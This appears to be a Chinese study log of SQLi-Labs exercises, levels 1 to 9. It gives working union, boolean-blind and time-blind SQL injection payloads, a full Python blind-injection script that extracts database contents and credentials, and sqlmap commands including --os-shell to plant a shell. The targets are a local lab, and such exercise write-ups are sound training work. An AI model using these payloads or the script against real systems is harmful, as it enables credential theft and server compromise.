SQL-Lab做题记录

1-10 都是比较简单的注入,主要熟悉一下注入
无绕过、过滤等方法

联合注入

Less-1 单引号字符型

判断字符型 or 数字型

1
?id=1 and 1=1
1
?id=1' and '1'='1

联合注入,查列数

查列数

1
?id=1'order by 3 --+

爆显位

1
?id=-1'union select 1,2,3--+

获取数据库名字和版本号

1
?id=-1'union select 1,database(),version()--+

爆表

information_schema.tables表示该数据库下的tables表,点表示下一级。
where后面是条件,group_concat()是将查询到结果连接起来

1
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆字段

查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。

注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名

1
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

获取数据

通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。

1
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

Less-2 简单数字型注入

判断字符型 or 数字型

确认是数字型注入

1
?id=1 and 1=1

联合注入,查列数

查列数

1
?id=1 order by 3

爆显位

1
?id=-1 union select 1,2,3

获取数据库名字和版本号

1
?id=-1 union select 1,database(),version()

爆表

1
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

爆字段

1
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

获取数据

1
?id=-1 union select 1,2,group_concat(id, username, password) from users

Less-3 单引号字符型且有括号

判断字符型 or 数字型

从报错信息发现是单引号字符型且有括号

1
2
3
4
# the right syntax to use near ''1'') LIMIT 0,1' at line 1
?id=1'
# 无报错
?id=1' and '1'='1

闭合

1
2
3
4
# 报错
?id=1')
# 不报错
?id=1')--+

联合注入,查列数

查列数

1
?id=1') order by 3--+

爆显位

1
?id=1') union select 1,2,3--+

获取数据库名字和版本号

1
?id=1') union select 1,database(),version()--+

爆表

1
?id=1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆字段

1
?id=1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

获取数据

1
?id=1') union select 1,2,group_concat(id, username, password) from users--+

Less-4 双引号字符型且有括号

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# 无任何报错,所以不是单引号型
?id=1' and 1=1
# 不加末尾注释,报错
?id=1")--+
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

布尔盲注

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
import requests

requests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False

def GetDBName(url, flag):
    DBName = ''
    print("开始获取数据库名长度...")
    len = 0
    for l in range(1,99):
        print("[+] 尝试长度:" + ascii(l))
        payload = f" and length((select database()))={l}--+"
        res = conn.get(url=url+payload)
        # print(res.content)
        if flag in res.content.decode("utf-8"):
            print("数据库名长度为:"+str(l))
            len = l
            break
    print("开始获取数据库名...")
    for i in range(1, len+1):
        for j in range(33, 127):
            # print("[+] Try " + ascii(j))
            payload = f" and ascii(substr((select database()),{i},1))={j}--+"
            res = conn.get(url=url+payload)
            if flag in res.content.decode("utf-8"):
                DBName += chr(j)
                print(DBName)
                break
    return DBName

def GetTables(url,db):
    print("正在获取数据表数量")
    tnum = 0
    t_len = 0
    tname = ""
    for i in range(1,50):
        payload = f" and (select count(*)table_name from information_schema.tables where table_schema=database())={i}--+"
        res = conn.get(url=url + payload)
        if flag in res.content.decode("utf-8"):
            tnum = i
            print(f"共有{i}张表")
            break
    for i in range(0,tnum):
        for n in range(1,50):
            payload = f" and length(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),1))={n}--+"
            res = conn.get(url=url + payload)
            if flag in res.content.decode("utf-8"):
                print(f"第{i+1}张表的长度为{n}")
                t_len = n
                break
        for l in range(1,t_len+1):
            for j in range(33,127):
                payload = f"' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{l},1))={j}--+"
                res = conn.get(url=url + payload)
                if flag in res.content.decode("utf-8"):
                    tname += chr(j)
                    print(tname)
                    break
        tname += ','
    result_list = tname[:-1].split(",")
    return result_list


def GetColumn(url, tableName):
    print("正在获取字段数量")
    cnum = 0
    c_len = 0
    cname = ""

    for i in range(1, 50):
        payload = f" and (select count(*) from information_schema.columns where table_name='{tableName}')={i}--+"
        res = conn.get(url=url + payload)
        if flag in res.content.decode("utf-8"):
            cnum = i
            print(f"共有{i}字段")
            break

    for i in range(0, cnum):
        for n in range(1, 50):
            payload = f" and length(substr((select column_name from information_schema.columns where table_name='{tableName}' limit {i},1),1))={n}--+"
            res = conn.get(url=url + payload)
            if flag in res.content.decode("utf-8"):
                print(f"第{i + 1}个字段的长度为{n}")
                c_len = n
                break

        for l in range(1, c_len + 1):
            for j in range(33, 127):
                payload = f" and ascii(substr((select column_name from information_schema.columns where table_name='{tableName}' limit {i},1),{l},1))={j}--+"
                res = conn.get(url=url + payload)
                if flag in res.content.decode("utf-8"):
                    cname += chr(j)
                    print(cname)
                    break
        cname += ','

    result_list = cname[:-1].split(",")
    return result_list

def GetColumnData(url, columnName, tableName):
    print(f"正在获取表 {tableName} 中字段 {columnName} 的数据内容")
    data_count = 0
    data_len = 0
    data_content = ""

    # 首先获取表中该字段的所有数据行的数量
    for i in range(1, 50):
        payload = f" and (select count(*) from {tableName})={i}--+"
        res = conn.get(url=url + payload)
        if flag in res.content.decode("utf-8"):
            data_count = i
            print(f"字段 {columnName} 中共有 {i} 行数据")
            break

    # 然后逐行获取每条数据的长度和内容
    for i in range(0, data_count):
        # 获取每条数据的长度
        for n in range(1, 50):
            payload = f"  and length((select {columnName} from {tableName} limit {i}, 1))={n}--+"
            res = conn.get(url=url + payload)
            if flag in res.content.decode("utf-8"):
                print(f"第 {i + 1} 行数据的长度为 {n}")
                data_len = n
                break

        # 获取每条数据的具体内容
        row_data = ""
        for l in range(1, data_len + 1):
            for j in range(33, 127):  # 遍历 ASCII 字符集
                payload = f" and ascii(substr((select {columnName} from {tableName} limit {i}, 1), {l}, 1))={j}--+"
                res = conn.get(url=url + payload)
                if flag in res.content.decode("utf-8"):
                    row_data += chr(j)
                    print(f"当前数据: {row_data}")
                    break
        data_content += row_data + "\n"

    return data_content


def chooseTable():
    tableName = input("请输入要继续查询的表格名字: ")
    return tableName

def chooseColumn():
    columnName = input("请输入要继续查询的字段名字:[输入0以结束] ")
    return columnName

if __name__ == '__main__':
    url = "http://localhost:8977/Less-6/?id=1\"" # 记得闭合好
    flag = "You are in..........."

    DBName = GetDBName(url, flag)

    result_list1 = GetTables(url, DBName)

    print(result_list1)
    choosenTableName = chooseTable()
    result_list2 = GetColumn(url, choosenTableName)

    choosenColumnName = ''
    while choosenColumnName != "0":
        print(result_list2)
        choosenColumnName = chooseColumn()
        GetColumnData(url, choosenColumnName, choosenTableName)

Less-5 基于单引号闭合

布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
 
 
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
 
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
 
 
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。

Less-6 基于双引号闭合

同上,但是闭合方法不一样

Less-7 基于单引号和双括号闭合

id=1’))

Less-8 无报错基于单引号闭合

只不过第八关没有报错信息,但是有you are in..进行参照。id参数是一个单引号字符串。

时间盲注

Less-9

特点:无论输入id=1'还是id=-1'都是相同回显
测试用例

1
2
?id=1' and if(1=2,sleep(2),0)-- s //立刻刷新
?id=1' and if(1=1,sleep(2),0)-- s //转两秒刷新

sqlmap工具使用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#获取所有数据库名称
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --dbs
#获取当前数据库
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --current-db
#获取数据库security所有表名称
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --tables -D security
#获取数据库security的users表的所有列名
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --columns -D security -T users
#获取数据库security的users表的username和password列的值
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --dump -D security -T users -C username,password
#写马
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --os-shell 
0%